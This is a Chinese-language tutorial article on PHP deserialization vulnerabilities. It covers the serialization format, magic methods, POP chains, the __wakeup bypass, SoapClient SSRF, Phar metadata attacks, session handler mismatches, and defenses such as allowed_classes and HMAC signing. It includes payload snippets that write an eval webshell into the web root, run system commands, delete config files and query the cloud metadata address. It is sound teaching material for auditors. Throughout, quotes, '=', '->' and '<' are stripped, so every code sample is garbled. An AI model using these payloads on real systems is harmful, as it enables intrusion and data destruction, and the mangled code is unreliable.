首页 / 资讯中心 / 文章详情

PHP反序列化漏洞深入剖析:机制、攻击链与防御实战

PHP反序列化漏洞深入剖析:机制、攻击链与防御实战 ★ FEATURED ARTICLE
处理反序列化漏洞的这几年我见过不少开发者一听到 serialize/unserialize 就头皮发麻。实际上 PHP 的序列化和反序列化机制本身并不复杂真正让人头疼的是它可以在不可信输入下触发对象重建、魔术方法调用最终演变成文件操作、命令执行、SSRF 这类事故。这篇文章就围绕 PHP 序列化、反序列化及漏洞成因来聊不打算把手册里的函数定义复制一遍而是从漏洞成因和技术底色出发把场景、利用链、防御和排查经验完整串起来希望对正在写 PHP 业务或者做代码审计的朋友有点实际帮助。1. PHP序列化与反序列化机制拆解1.1 先说清序列化到底做了什么序列化的本质是把内存中的对象转换成字节流或者字符串让它能够被持久化到文件、缓存、或通过网络传输。反序列化自然就是反过来把这个字符串还原成原来的对象。如果你用过 JSON这个逻辑并不难理解——只不过 PHP 的 serialize 输出含有更丰富的类型信息和对象信息。直观理解一个对象携带着一堆属性值和它们的数据类型序列化就是把这些信息按固定规则“拍平”成一行可存储的字符串。需要注意的一点是方法函数并不会被序列化因为方法是属于类的序列化结果只保存对象的属性和类型信息。反序列化时脚本会查找对应类并实例化然后填充属性。这就是为什么反序列化后的对象需要目标类存在。为什么需要这种机制在业务中经常遇到需要把用户会话、购物车数据、临时计算结果存到文件或缓存里或者跨服务传递。PHP 可以直接用 serialize() 处理数组和对象天然保留类型。但 JSON 只能处理纯数据遇到对象时要额外实现映射。所以很多老项目选型时会直接用 PHP 原生序列化也正因为这样历史代码里的反序列化入口特别多。1.2 序列化格式的“字符密码”我们直接看一个数组?php $a array(name Tom, age 18); echo serialize($a); // 输出 a:2:{s:4:name;s:3:Tom;s:3:age;i:18;}这段字符串看起来像乱码其实是 PHP 的特殊编码语言。每个元素由类型标记、长度、内容三部分组成。i 表示整数直接写值s 表示字符串需要用数字标记长度比如 s:4:name 表示字符串 name 长度是 4a 表示数组后面声明元素个数然后用花括号包住键值对。对象序列化稍微复杂一点?php class User { public $name Tom; protected $age 18; private $email tomexample.com; } $user new User(); echo serialize($user); // O:4:User:3:{s:4:name;s:3:Tom;s:6:\0*\0age;i:18;s:10:\0User\0email;s:16:tomexample.com;}这里面藏着两个容易踩坑的点。第一O 表示对象后面跟着类名长度、类名、属性个数。第二属性的键不是简单的属性名而是按可见性做了包装public 属性直接写名字protected 属性会用*包起来变成\0*\0ageprivate 属性会用类名包起来变成\0User\0email。这里的\0是 ASCII 的 NULL 字节在序列化字符串中必须原样保留。如果你手工拼接 payload 时少算了长度、或者这些\0被过滤器吃掉反序列化大概率会失败。给一张类型标记速查表后面构造 payload 会反复用到类型标记示例整数ii:123;浮点dd:3.14;字符串ss:3:php;布尔bb:1;NULLNN;数组aa:1:{...}对象OO:4:Cls:1:{...}引用RR:2;1.3 反序列化触发魔术方法的那些时刻反序列化真正危险的原因是 PHP 在重建对象、销毁对象以及对象被当作普通值使用时会自动调用一些魔术方法。魔术方法是 PHP 留给开发者的钩子你不知道这些方法内部会拿属性做什么。最常见的几个__wakeup()unserialize() 过程中自动调用常用于初始化数据库连接、恢复临时资源。__destruct()对象销毁时自动调用脚本结束、unset 等常用于释放资源或清理日志。__toString()对象被当作字符串使用时自动调用常用于自定义输出。__call()/__get()访问不可访问方法或属性时自动调用常用于委托或兜底。一个简单例子?php class Evil { public $cmd id; public function __destruct() { system($this-cmd); } } $payload serialize(new Evil()); unserialize($payload);这段代码只要完成了反序列化对象就会在脚本结束或垃圾回收时被销毁__destruct()会被触发system()就会执行属性$cmd里的命令。攻击者要做的只是把$cmd的值换成自己想要的命令。这还只是最直接的利用方式更高级的是用 POP 链串起多个类的方法一步步逼近危险函数。2. 反序列化漏洞成因一个可控入口一次危险还原2.1 漏洞的起点用户输入流向 unserialize()任何反序列化漏洞都必须满足一个前提攻击者能够控制传给 unserialize() 的字符串。这个入口可能藏得很深不一定是直接的unserialize($_POST[payload])。我见过有的系统把 Cookie 整个序列化后存到本地读取时直接 unserialize也见过把第三方回调的数据拆包时反序列化还有把用户传入的数组用不同字段拼进序列化串再还原的。开发者经常犯一个逻辑错误觉得“我只是反序列化一个普通数组又不是对象应该没事吧”。但序列化字符串本质上只是一个字符串你可以手写一个看起来完全合法的对象序列化串喂进去。PHP 在反序列化时不会验证这个“源类型”和你预期的类型是否一致它只负责还原。所以哪怕业务代码只处理数组攻击者照样可以把O:4:Evil:...这种对象字符串传进去。简单说威胁不在于你序列化了什么而在于你是否把反序列化的口子暴露给了不可信输入。很多代码审计工具会把“外部输入 → unserialize()”作为高危模式就是因为这个不可信源头是整个漏洞的起点。2.2 POP链通过属性“借力打力”反序列化漏洞早期最有名的利用方式叫“对象注入”Object Injection核心就是前面那个直接构造目标类。但现实里并不是每个目标类都有__destruct()里直接调system()、eval()、file_put_contents()这种致命方法。更多时候需要把多个类的方法串联起来一个方法调用另一个对象的方法最终落到危险函数上。这种利用链被称为 POPProperty-Oriented Programming属性导向编程思路和 ROP面向返回编程如出一辙借用程序中已有的代码段把它们串成攻击链。举一个最简单的例子?php class Logger { public $func; public $arg; public function log() { call_user_func($this-func, $this-arg); } } class User { public $logger; public function __wakeup() { $this-logger-log(); } }这里 User 的 wakeup 会调用 logger 对象的 log()而 Logger 的 log() 里用call_user_func调用了两个可控属性。攻击者构造?php $logger new Logger(); $logger-func system; $logger-arg whoami; $user new User(); $user-logger $logger; echo serialize($user);将输出序列化字符串喂给目标代码中的unserialize()触发 User 的__wakeup()→Logger::log()→call_user_func(system,whoami)。这就是一条极短的 POP 链。真实业务里的链会长很多可能需要跨好几个类中间还会有些条件判断要绕过。审计时最有效的方法就是画调用图从每个魔术方法出发找出所有可能被外部属性指到的对象再追踪这些对象的方法里是否调用了敏感函数。如果同一段代码里有一手可控属性、一手敏感函数那就是候选点。2.3 属性数量绕过__wakeup 的“弃权”很多开发者会在__wakeup()里做安全检查比如重置风险属性、强制设置为合法值。这确实能挡住一部分初级的对象注入。但 PHP 早期版本中就有一个著名的逻辑绕过当序列化字符串中声明的属性数量大于实际给出的属性数量时__wakeup()可能不会被调用。原因很简单反序列化引擎在解析时先读取属性数量再逐个读取属性。如果声明数量与实际不匹配内部会提前结束对象处理并跳过 wakeup 调用。类似的问题在很多 PHP 版本中都出现过后续官方做了部分修复但在旧环境里如果你还在运行五六年前的 PHP这个绕过依然要重视。绕过姿势看上去就是这样?php class Guard { public $ok false; public function __wakeup() { $this-ok true; // 强制安全 } public function __destruct() { if ($this-ok) { echo safe; } else { echo dangerous; } } } // 属性个数声明为2实际只有1个 $payload O:5:Guard:2:{s:2:ok;b:0;}; // 在受影响版本中__wakeup 被跳过对象销毁时 ok 仍为 false unserialize($payload);所以对于安全关键的判断一定不要只依赖__wakeup()。要把它当成“可能被绕过的攻击面”来对待关键的安全状态尽量在类实例化后通过显式初始化完成。2.4 原生类也可以成为利用面自定义类可控自然是好事但如果没有现成危险类PHP 自带的类也能拿来搞事。我举几个常见的内置类SoapClient可以发起 SOAP 请求。构造它的 location 和 uri 属性反序列化后调用某些方法时它会自动发起 HTTP 请求。这个常用于 SSRF后面单独讲。SimpleXMLElement可以解析 XML。如果某个反序列化的对象被用于文件操作或者是字符串操作有可能触发外部实体加载演变成 XXE。Error/Exception在 PHP 7Error 类支持自定义文件访问某些内置调用会读取文件内容作为异常消息配合报错页面可以实现任意文件读取。DateTime、SQLite3、Imagick等扩展类也各有各的玩法。这说明一个防御原则仅靠禁止反序列化“业务类”并不安全还要留意 PHP 自身类的副作用。你永远不知道攻击者会从哪个内置类里找到你想要的功能。3. 典型攻击场景与利用链细节3.1 写文件、删文件最直白的落地先看一个最简单的“写文件”场景。某个旧项目里有个后台类销毁时会根据属性写个日志文件代码可能长这样?php class Backup { public $path; public $content; public function __destruct() { file_put_contents($this-path, $this-content); } }如果这个类可以被攻击者构造那直接序列化以下对象?php $b new Backup(); $b-path /var/www/html/shell.php; $b-content ?php eval($_POST[x]);?; echo serialize($b);把这个字符串交给存在unserialize()且没做限制的入口脚本结束触发__destruct()shell 就写进 Web 目录了。当然实际中目标类名、属性名、路径过滤、写权限等问题会让利用条件苛刻不少但逻辑就是这样。这类漏洞最难受的是“非预期利用”。比如项目本来用unlink($this-tempFile)清理临时文件攻击者把$this-tempFile改成 Web 目录下某个关键文件反序列化后直接把文件删了。删除脚本、删除配置、删除备份一次“清理操作”就能变成破坏行为。由于__destruct()无法完全禁用只要反序列化可以被控制这种破坏型攻击就很难从源头拦掉。3.2 命令执行从反序列化到RCE的典型路径命令执行一般是反序列化漏洞影响的最高级形态。触发点可能是某类中有这样的代码?php class Shell { public $command; public function __toString() { return shell_exec($this-command); } }只要攻击者能让反序列化出来的对象在某个环节被当作字符串拼接、echo、比较__toString()就会被触发。比如某个类有__toString()且内部用了echo $this-message而$this-message又被指到 Shell 对象或者 POP 链中用file_exists($this-wrap)这种函数传入对象时 PHP 也会尝试把对象转字符串。写一个小 demo?php class Message { public $content; public function __toString() { return $this-content; } } class Runner { public $cmd; public function __wakeup() { echo $this-cmd; // 触发 __toString } }构造?php $m new Message(); $m-content ?php phpinfo(); ?; $r new Runner(); $r-cmd $m; echo serialize($r);当反序列化执行echo $this-cmd时因为 cmd 是 Message 对象所以触发Message::__toString()这里只是返回了 content 没有执行但如果我们把 Message::__toString 换成eval($this-content)就变成了命令执行。真实项目里只要出现eval、assert、call_user_func、preg_replace配合/e、system、exec等都能作为链子的终点。除了__toString__call也非常好用。当对象被调用一个不存在的方法时__call会收到方法名和参数数组。如果该方法内部把参数传给了call_user_func_array攻击者可以直接掌控函数名和参数。3.3 SSRF拿SoapClient当“跳板”如果没有命令执行点攻击者还能利用 PHP 内置SoapClient发起 HTTP 请求实现 SSRF。SoapClient 的序列化对象只要被触发某些调用就会按照构造时的 location 发送 SOAP 请求。优势是它能携带自定义 Header甚至利用 CRLF 注入绕过一些简单的防护。典型构造伪代码?php $soap new SoapClient( null, array( location http://169.254.169.254/latest/meta-data/, uri http://example.com/ ) ); $payload serialize($soap);攻击者把 location 指向内网地址然后在反序列化对象后想办法让对象被用到比如触发__call或__destruct就会请求内网 URL。在一些只允许特定协议的业务中还能用它打 Redis、打 FastCGI进一步扩大影响。实际利用时需要先确认php-soap扩展已加载不然类不存在构造 payload 会直接失败。3.4 phar反序列化不需要unserialize的暗流还有一个很隐蔽的利用面Phar 文件元数据反序列化。PHP 的 Phar 文件格式里包含一个 metadata 字段使用phar://协议访问文件时这个 metadata 会被自动反序列化。这意味着你甚至不需要找到unserialize()调用点只要业务代码中存在file_exists($path)、fopen($path)、include $path这类可操作路径的函数且路径可控就能尝试上传 Phar 文件来触发反序列化。构造一个恶意 Phar 文件使用 PHP 命令行?php class AnyDestructor { public $file; public function __destruct() { unlink($this-file); } } $obj new AnyDestructor(); $obj-file /var/www/html/config.php; $phar new Phar(poc.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ?); $phar-setMetadata($obj); $phar-stopBuffering(); // 注意生成前需要设置 phar.readonly0把生成的poc.phar上传到可达路径然后在存在文件操作函数的地方传phar://poc.phar路径metadata 会被反序列化对象销毁时触发__destruct()删除指定文件。这也是比较常见的“一次上传、多处利用”。更麻烦的是如果业务用include包含了远程文件或本地文件攻击者只要把路径换成一个构造好的 phar就能直接让反序列化发生在代码执行过程中。4. 会话反序列化容易被忽视的另一个入口4.1 PHP session存储机制与序列化处理器PHP 的 session 默认把会话数据以某种序列化格式存储到文件或缓存中。这里有个容易被忽略的配置session.serialize_handler。它有两个常见值php默认格式是键名|值比如user|O:4:User:1:{...}另一个是php_serialize格式和 serialize() 输出一致比如a:1:{s:4:user;O:4:User:1:{...}}。问题来了如果项目在写入 session 时使用了php_serialize处理器但读取时另一个接口使用php处理器两个处理器对数据的解析方式不一致就会产生变量覆盖。攻击者只要能在 session 某个值里“夹带私货”就可能把后面的字符串变成对象反序列化入口。4.2 会话反序列化漏洞的成因与利用典型场景是框架 A 把 session 处理器设为php_serialize后台上有一个老接口用默认php处理器读取 session。攻击者构造提交数据时在 session 中写入形如xxxx|O:4:User:...的值这个值通常是用户可以控制的某个数组键名或字段在另一个请求中默认处理器读到xxxx后遇到管道符|就把管道符后面的内容当作值进行反序列化。因为管道符前面的键是可以任意选择的攻击者实际上获得了调用unserialize()的能力。这种洞隐蔽在哪儿代码里可能没有任何一个unserialize($_POST[...])全靠两个配置不一致的处理器“自动”完成了反序列化。很多代码审计工具如果不对 session 处理器做数据流建模根本扫不出来。但正因为这个特性它也成为很多“反序列化未遂”场景里的真正入口。4.3 如何排查和规避会话序列化问题排查第一步看全局配置和业务逻辑中是否混用了不同的session.serialize_handler。搜索ini_set(session.serialize_handler和session_start的位置。如果出现一个用php、一个用php_serialize大概率有风险。防御上首要是统一处理器最好全站固定session.serialize_handler php_serialize并且确保 session 里只存简单类型数据不要直接把对象塞进 session。如果历史原因必须存储对象建议单独序列化后 base64 编码并加校验。另外用户可控的 session 变量比如登录后保存的昵称、头像 URL要严格过滤谨防夹带管道符和序列化片段。5. 代码审计、防御方案与实战排查清单5.1 从代码层面找“病灶”最自然的做法是全局搜索unserialize(。但这里我提醒一句不要光搜函数名很多危险点藏在远程数据读取、命令拼接、缓存恢复里。我通常先找所有外部输入的地方请求参数、Cookie、请求头、文件内容、数据库字段再追踪它们是否可能流向与序列化还原有关的位置。审计时可以按这个思路搜索所有unserialize()调用挨个确认参数是否来自用户可控数据。搜索serialize()输出是否被存入 Cookie、缓存、文件防止攻击者篡改后触发下游反序列化。搜索魔术方法定义__wakeup,__destruct,__toString,__call,__get,__set等对每个魔术方法内部调用的函数做敏感分析是否有file_*、unlink、eval、system、exec、call_user_func、preg_replace等危险操作。检查类属性是否在业务逻辑中直接透明地传给方法如果属性全部可被外部注入就具备构造 POP 链的条件。5.2 防御不是禁用unserialize这么简单最直接的防御是不反序列化不可信数据但现实是历史遗留代码已经这么写了所以要考虑分层防御。第一层如非必要使用 JSON 替代序列化。json_encode/json_decode不触发 PHP 对象的魔术方法而且格式可读、跨语言传输方便。但要注意 JSON 的大数精度问题以及不要用它来保存带私有属性的对象。第二层如果确实需要unserialize必须限制允许还原的类。PHP 7.0 之后的unserialize支持第二个参数unserialize($data, [allowed_classes [App\\User, App\\Cart]]);这样除了白名单内的类其他类都会被还原成__PHP_Incomplete_Class攻击者构造的Evil类就不会被实例化。注意__PHP_Incomplete_Class也可能被某些魔术方法利用所以白名单还是要收敛到最小范围。第三层给序列化数据加签名。比如$sig hash_hmac(sha256, $data, $secret); $payload $sig . . . $data;读取时先校验签名再反序列化。这个方案的前提是密钥绝对安全否则等于白做。还有一个容易被忽略的点入口数据如果经过了 URL 解码、实体解码、base64 解码要防止解码后的字符串重新包含序列化标记。所有过滤要放在最后一步且不要用黑名单。5.3 攻击特征与WAF绕过视角从防御方看了解攻击特征有助于做监控和应急。常规反序列化 payload 开头通常有O:\d:、a:\d:{等格式。但实际攻击者会用技巧绕过正则比如在类型字母和长度之间加号或者加空白字符。例如O:4:Evil:...。还有用C:表示自定义序列化类以及把O换成O:0004前导零。所以依赖 WAF 简单正则拦截序列化关键字很容易被绕过。比较可靠的检测思路是识别“非预期的高危类还原”和“异常属性值”。比如监控unserialize是否被调用了带有异常命名空间的类在日志里记录allowed_classes之外的对象实例化请求。如果在反序列化前后对象属性中出现system、exec、/proc/self/environ等敏感值就要重点告警。5.4 实战中那些让人抓狂的坑最后分享一些我在实际测试中总结出的坑每个都能让你调试到怀疑人生。第一字符串长度必须跟字节数完全对上。PHP 序列化中字符串长度计算的是字节数不是字符数。中文、含 UTF-8 编码的字符特别容易算错。手工构造 payload 时要先用脚本strlen()确认字节数再拼接。第二\0不可见字符最容易在传输层被吃掉。尤其经过 HTTP 参数、数据库、文件缓存时NULL 字节可能被替换或截断。遇到反序列化失败先检查 payload 里 private/protected 属性的\0是否完整。第三不同 PHP 版本的差异巨大。比如属性数量绕过在某些版本有效在 7.4 之后可能修复__wakeup的触发时机、__PHP_Incomplete_Class的行为也随版本变化。遇到问题先确认目标版本再看官方变更。第四方法之间的类型限制会阻断 POP 链。比如call_user_func($this-func, $this-arg)在 PHP 5.4 里第二个参数必须是数组或引用遇到call_user_func_array时要留意第一个参数格式。第五对象销毁顺序不可控经常导致误判。同一个请求里反序列化多个对象时__destruct()的顺序由垃圾回收触发不一定按构造顺序执行。测试漏洞时要单独构造最小复现场景别在复杂页面里断错位置。如果你问我最值得记的一条我会说永远别把用户输入直接交给unserialize。就算你觉得自己已经做了过滤也请一定用allowed_classes白名单兜底如果代码里压根没法确认输入来源那先把unserialize的调用收敛到一个统一的入口类里再逐层审查。
阅读完成 · 觉得有帮助?
咨询建站